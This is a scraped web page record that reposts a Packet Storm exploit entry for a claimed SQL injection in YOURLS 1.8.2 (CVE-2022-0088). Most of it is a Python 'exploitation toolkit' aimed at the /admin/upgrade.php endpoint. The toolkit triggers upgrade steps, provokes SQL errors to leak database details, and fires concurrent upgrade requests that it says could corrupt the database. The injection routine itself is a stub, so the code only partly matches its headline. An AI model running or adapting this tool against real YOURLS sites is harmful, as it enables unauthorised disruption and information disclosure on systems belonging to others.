{“lastseen”:”2025-12-10T17:37:43″,”description”:”Proof of concept for a remote SQL injection vulnerability in YOURLS version 1.8.2…”,”published”:”2025-12-10T00:00:00″,”modified”:”2025-12-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 YOURLS 1.8.2 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:212670″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2022-0088″],”sourceData”:”=============================================================================================================================================\\n | # Title : YOURLS 1.8.2 SQL Injection \\u0026 System Compromise in Administrative Upgrade Functions |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/github.com\/yourls\/yourls\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212395\/ \\u0026 \\tCVE-2022-0088\\n \\n [+] Summary : Critical security vulnerabilities discovered in YOURLS upgrade module (\/admin\/upgrade.php) \\n that could allow attackers to execute arbitrary SQL commands, disclose sensitive database information, \\n \\t\\t\\t and potentially compromise the entire YOURLS installation during upgrade processes.\\n \\t\\t\\t \\n [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation\\t\\t\\t \\n \\t\\t\\t \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n \\n import requests\\n import sys\\n import time\\n from urllib.parse import urljoin\\n \\n class YOURLS_Upgrade_Exploit:\\n def __init__(self, target_url, session_cookie=None):\\n self.base_url = target_url.rstrip(‘\/’)\\n self.upgrade_url = urljoin(self.base_url, ‘admin\/upgrade.php’)\\n self.session = requests.Session()\\n \\n if session_cookie:\\n self.session.headers.update({‘Cookie’: session_cookie})\\n \\n self.session.headers.update({\\n ‘User-Agent’: ‘Mozilla\/5.0 YOURLS Upgrade’,\\n ‘Accept’: ‘text\/html,application\/xhtml+xml’,\\n })\\n \\n def trigger_upgrade(self, oldver=\\”1.3\\”, newver=\\”1.8\\”):\\n \\”\\”\\”Trigger upgrade process to exploit vulnerabilities\\”\\”\\”\\n print(\\”[*] Triggering upgrade process…\\”)\\n \\n params = {\\n ‘step’: ‘1’,\\n ‘oldver’: oldver,\\n ‘newver’: newver,\\n ‘oldsql’: ‘100’,\\n ‘newsql’: ‘506’\\n }\\n \\n try:\\n response = self.session.get(self.upgrade_url, params=params)\\n \\n if \\”Updating DB\\” in response.text or \\”Updating table structure\\” in response.text:\\n print(\\”[+] Upgrade process triggered successfully\\”)\\n return True\\n else:\\n print(\\”[-] Could not trigger upgrade\\”)\\n return False\\n \\n except Exception as e:\\n print(f\\”[-] Error: {str(e)}\\”)\\n return False\\n \\n def sql_injection_upgrade_14(self, sql_payload):\\n \\”\\”\\”Exploit SQL injection in yourls_update_table_to_14()\\”\\”\\”\\n print(\\”[*] Attempting SQL injection during v1.3 to v1.4 upgrade…\\”)\\n \\n # We need to control $url parameter in the update query\\n # The vulnerable line: \\”UPDATE `$table` SET `keyword` = ‘$newkeyword’ WHERE `url` = ‘$url’;\\”\\n \\n # First, we need to know a valid URL from the database\\n # Then inject via that URL\\n \\n # This is a blind injection – we need to be creative\\n \\n exploit_url = f\\”{self.upgrade_url}?step=2\\u0026oldver=1.3\\u0026newver=1.4\\u0026oldsql=100\\u0026newsql=200\\u0026from=0\\”\\n \\n # The attack requires:\\n # 1. Knowing an existing URL in the database\\n # 2. Injecting through that URL parameter\\n # 3. Triggering the update process\\n \\n print(\\”[!] Note: This requires prior knowledge of database contents\\”)\\n return False\\n \\n def exploit_redirect_injection(self, redirect_url):\\n \\”\\”\\”Exploit insecure redirects in upgrade process\\”\\”\\”\\n print(\\”[*] Attempting redirect injection…\\”)\\n \\n # Craft malicious upgrade parameters\\n params = {\\n ‘step’: ‘3’,\\n ‘oldver’: ‘1.7’,\\n ‘newver’: ‘1.8’,\\n ‘oldsql’: ‘505’,\\n ‘newsql’: ‘506’\\n }\\n \\n # The vulnerable code path:\\n # yourls_upgrade() \u2192 yourls_redirect_javascript() with user-controlled parameters\\n \\n response = self.session.get(self.upgrade_url, params=params)\\n \\n # Look for JavaScript redirects\\n if \\”location.href\\” in response.text or \\”window.location\\” in response.text:\\n print(\\”[+] Found JavaScript redirects – potential injection point\\”)\\n \\n # We need to control the redirect URL\\n # This would require manipulating upgrade parameters or session\\n \\n return True\\n \\n return False\\n \\n def information_disclosure(self):\\n \\”\\”\\”Trigger error messages to reveal database information\\”\\”\\”\\n print(\\”[*] Triggering information disclosure…\\”)\\n \\n # Trigger SQL errors by providing invalid parameters\\n params = {\\n ‘step’: ‘1’,\\n ‘oldver’: ‘invalid’,\\n ‘newver’: ‘1.8’,\\n ‘oldsql’: ‘invalid’,\\n ‘newsql’: ‘506’\\n }\\n \\n try:\\n response = self.session.get(self.upgrade_url, params=params)\\n \\n error_indicators = [\\n ‘SQLSTATE’,\\n ‘MySQL’,\\n ‘syntax error’,\\n ‘Duplicate entry’,\\n ‘database’,\\n ‘table’,\\n ‘column’\\n ]\\n \\n for indicator in error_indicators:\\n if indicator in response.text:\\n print(f\\”[+] Information disclosure: Found ‘{indicator}’ in response\\”)\\n \\n # Extract error details\\n lines = response.text.split(‘\\\\n’)\\n for line in lines:\\n if indicator in line:\\n print(f\\” \u2192 {line.strip()[:100]}\\”)\\n \\n return True\\n \\n except Exception as e:\\n print(f\\”[-] Error: {str(e)}\\”)\\n \\n return False\\n \\n def exploit_htaccess_write(self, malicious_content):\\n \\”\\”\\”Attempt to write malicious .htaccess content\\”\\”\\”\\n print(\\”[*] Attempting .htaccess manipulation…\\”)\\n \\n # The vulnerable function: yourls_clean_htaccess_for_14()\\n # and yourls_create_htaccess()\\n \\n # We need to trigger the v1.3 \u2192 v1.4 upgrade path\\n params = {\\n ‘step’: ‘1’,\\n ‘oldver’: ‘1.3’,\\n ‘newver’: ‘1.4’,\\n ‘oldsql’: ‘100’,\\n ‘newsql’: ‘200’\\n }\\n \\n response = self.session.get(self.upgrade_url, params=params)\\n \\n if \\”htaccess\\” in response.text.lower():\\n print(\\”[+] .htaccess manipulation functions triggered\\”)\\n print(\\”[!] Note: Full exploitation requires file write permissions\\”)\\n \\n return False\\n \\n def race_condition_exploit(self):\\n \\”\\”\\”Exploit race conditions during concurrent upgrades\\”\\”\\”\\n print(\\”[*] Testing for race condition vulnerabilities…\\”)\\n \\n # The upgrade process doesn’t prevent concurrent executions\\n # We can trigger multiple upgrades simultaneously\\n \\n import threading\\n \\n def trigger_upgrade_thread():\\n params = {\\n ‘step’: ‘1’,\\n ‘oldver’: ‘1.7’,\\n ‘newver’: ‘1.8’,\\n ‘oldsql’: ‘505’,\\n ‘newsql’: ‘506’\\n }\\n self.session.get(self.upgrade_url, params=params, timeout=30)\\n \\n # Launch multiple concurrent upgrades\\n threads = []\\n for i in range(5):\\n t = threading.Thread(target=trigger_upgrade_thread)\\n threads.append(t)\\n t.start()\\n \\n print(\\”[+] Launched 5 concurrent upgrade attempts\\”)\\n print(\\”[!] This could cause database corruption or inconsistent state\\”)\\n \\n return True\\n \\n def main():\\n target = input(\\”Enter target YOURLS URL (e.g., http:\/\/example.com): \\”).strip()\\n cookie = input(\\”Enter session cookie (optional, press enter to skip): \\”).strip()\\n \\n exploit = YOURLS_Upgrade_Exploit(target, cookie if cookie else None)\\n \\n print(\\”\\\\n\\” + \\”=\\”*60)\\n print(\\”YOURLS Upgrade Module Exploitation Toolkit\\”)\\n print(\\”=\\”*60 + \\”\\\\n\\”)\\n \\n print(\\”Select exploit option:\\”)\\n print(\\”1. Trigger upgrade process\\”)\\n print(\\”2. Test for information disclosure\\”)\\n print(\\”3. Test for race conditions\\”)\\n print(\\”4. Full vulnerability scan\\”)\\n print(\\”5. Exit\\”)\\n \\n choice = input(\\”\\\\nEnter choice (1-5): \\”).strip()\\n \\n if choice == ‘1’:\\n if exploit.trigger_upgrade():\\n print(\\”[+] Upgrade triggered – check for SQL errors\\”)\\n \\n elif choice == ‘2’:\\n exploit.information_disclosure()\\n \\n elif choice == ‘3’:\\n exploit.race_condition_exploit()\\n \\n elif choice == ‘4’:\\n print(\\”\\\\n[*] Running full vulnerability scan…\\”)\\n exploit.trigger_upgrade()\\n time.sleep(2)\\n exploit.information_disclosure()\\n time.sleep(1)\\n exploit.race_condition_exploit()\\n \\n elif choice == ‘5’:\\n print(\\”[*] Exiting…\\”)\\n sys.exit(0)\\n \\n else:\\n print(\\”[-] Invalid choice\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212670″,”cvss”:{“score”:7.4,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:N\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:L\/I:N\/A:N”,”baseScore”:3.5,”baseSeverity”:”LOW”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”LOW”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”NONE”,”availabilityImpact”:”NONE”}},”href”:”https:\/\/packetstorm.news\/files\/id\/212670\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-10T17:37:43″,”description”:”Proof of concept for a remote SQL injection vulnerability in YOURLS version 1.8.2…”,”published”:”2025-12-10T00:00:00″,”modified”:”2025-12-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 YOURLS 1.8.2 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:212670″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2022-0088″],”sourceData”:”=============================================================================================================================================\\n | # Title : YOURLS 1.8.2 SQL Injection…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,29,12,15,13,53,7,11,5],"class_list":["post-30053","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-74","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n